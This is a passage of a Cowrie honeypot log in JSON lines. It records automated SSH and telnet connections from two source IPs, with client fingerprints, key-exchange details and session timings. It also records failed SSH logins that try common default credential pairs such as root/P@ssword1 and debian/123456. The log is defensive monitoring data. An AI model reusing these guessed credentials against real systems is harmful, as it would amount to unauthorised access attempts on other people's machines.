0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:28.363882Z","src_ip":"192.109.200.237","session":"c9771fb8d739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:28.612339Z","src_ip":"192.109.200.237","session":"c9771fb8d739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.44563364982605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:28.749545Z","src_ip":"50.6.8.71","session":"e3952ebc4dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:29.753488Z","src_ip":"192.109.200.237","session":"c9771fb8d739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46420,"dst_ip":"159.203.135.109","dst_port":22,"session":"5727e43e286e","protocol":"ssh","message":"New connection: 192.109.200.237:46420 (159.203.135.109:22) [session: 5727e43e286e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:31.881234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:31.886702Z","src_ip":"192.109.200.237","session":"5727e43e286e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:31.969552Z","src_ip":"192.109.200.237","session":"5727e43e286e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:32.216904Z","src_ip":"192.109.200.237","session":"5727e43e286e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:33.301665Z","src_ip":"192.109.200.237","session":"5727e43e286e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46456,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad0cd68b34ea","protocol":"ssh","message":"New connection: 192.109.200.237:46456 (159.203.135.109:22) [session: ad0cd68b34ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:35.495822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:35.500581Z","src_ip":"192.109.200.237","session":"ad0cd68b34ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:35.583107Z","src_ip":"192.109.200.237","session":"ad0cd68b34ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:35.834791Z","src_ip":"192.109.200.237","session":"ad0cd68b34ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:37.016052Z","src_ip":"192.109.200.237","session":"ad0cd68b34ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46476,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e674b545c9","protocol":"ssh","message":"New connection: 192.109.200.237:46476 (159.203.135.109:22) [session: 32e674b545c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:38.943159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:38.947608Z","src_ip":"192.109.200.237","session":"32e674b545c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:39.029713Z","src_ip":"192.109.200.237","session":"32e674b545c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:39.354255Z","src_ip":"192.109.200.237","session":"32e674b545c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.10626530647278,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:39.436583Z","src_ip":"50.6.8.71","session":"48ac66c65e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:40.439158Z","src_ip":"192.109.200.237","session":"32e674b545c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56362,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ec834720135","protocol":"ssh","message":"New connection: 192.109.200.237:56362 (159.203.135.109:22) [session: 7ec834720135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:42.544214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:42.548408Z","src_ip":"192.109.200.237","session":"7ec834720135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:42.635119Z","src_ip":"192.109.200.237","session":"7ec834720135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:42.881796Z","src_ip":"192.109.200.237","session":"7ec834720135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:43.967531Z","src_ip":"192.109.200.237","session":"7ec834720135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.035298109054565,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:45.141093Z","src_ip":"50.6.8.71","session":"404320661694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"29bf55750558","protocol":"ssh","message":"New connection: 192.109.200.237:56374 (159.203.135.109:22) [session: 29bf55750558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:45.897986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:45.901976Z","src_ip":"192.109.200.237","session":"29bf55750558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:45.984077Z","src_ip":"192.109.200.237","session":"29bf55750558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:46.231042Z","src_ip":"192.109.200.237","session":"29bf55750558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48640,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fe109aa0e6","protocol":"telnet","message":"New connection: 50.6.8.71:48640 (10.17.0.5:23) [session: d9fe109aa0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:46.604231Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:47.315261Z","src_ip":"192.109.200.237","session":"29bf55750558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39700,"dst_ip":"10.17.0.5","dst_port":23,"session":"741ce2318aa5","protocol":"telnet","message":"New connection: 50.6.8.71:39700 (10.17.0.5:23) [session: 741ce2318aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:48.586061Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56396,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9e5c24f0311","protocol":"ssh","message":"New connection: 192.109.200.237:56396 (159.203.135.109:22) [session: d9e5c24f0311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:49.333360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:49.338330Z","src_ip":"192.109.200.237","session":"d9e5c24f0311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:49.451536Z","src_ip":"192.109.200.237","session":"d9e5c24f0311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28050684928894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:49.529073Z","src_ip":"50.6.8.71","session":"edec7868c653","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:49.929632Z","src_ip":"192.109.200.237","session":"d9e5c24f0311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.836995363235474,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:50.074641Z","src_ip":"50.6.8.71","session":"c2770055d204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:51.014518Z","src_ip":"192.109.200.237","session":"d9e5c24f0311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48656,"dst_ip":"10.17.0.5","dst_port":23,"session":"8376a9c3a7e3","protocol":"telnet","message":"New connection: 50.6.8.71:48656 (10.17.0.5:23) [session: 8376a9c3a7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:51.098928Z"}
{"eventid":"cowrie.session.closed","duration":42.88866949081421,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:52.499560Z","src_ip":"50.6.8.71","session":"335a7152f573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42228,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c54e55bcd36","protocol":"ssh","message":"New connection: 192.109.200.237:42228 (159.203.135.109:22) [session: 2c54e55bcd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:52.953207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:52.960095Z","src_ip":"192.109.200.237","session":"2c54e55bcd36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:53.041726Z","src_ip":"192.109.200.237","session":"2c54e55bcd36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:53.286134Z","src_ip":"192.109.200.237","session":"2c54e55bcd36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:54.370665Z","src_ip":"192.109.200.237","session":"2c54e55bcd36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42232,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac73bd139cad","protocol":"ssh","message":"New connection: 192.109.200.237:42232 (159.203.135.109:22) [session: ac73bd139cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:56.314112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:56.318936Z","src_ip":"192.109.200.237","session":"ac73bd139cad","protocol":"ssh"}
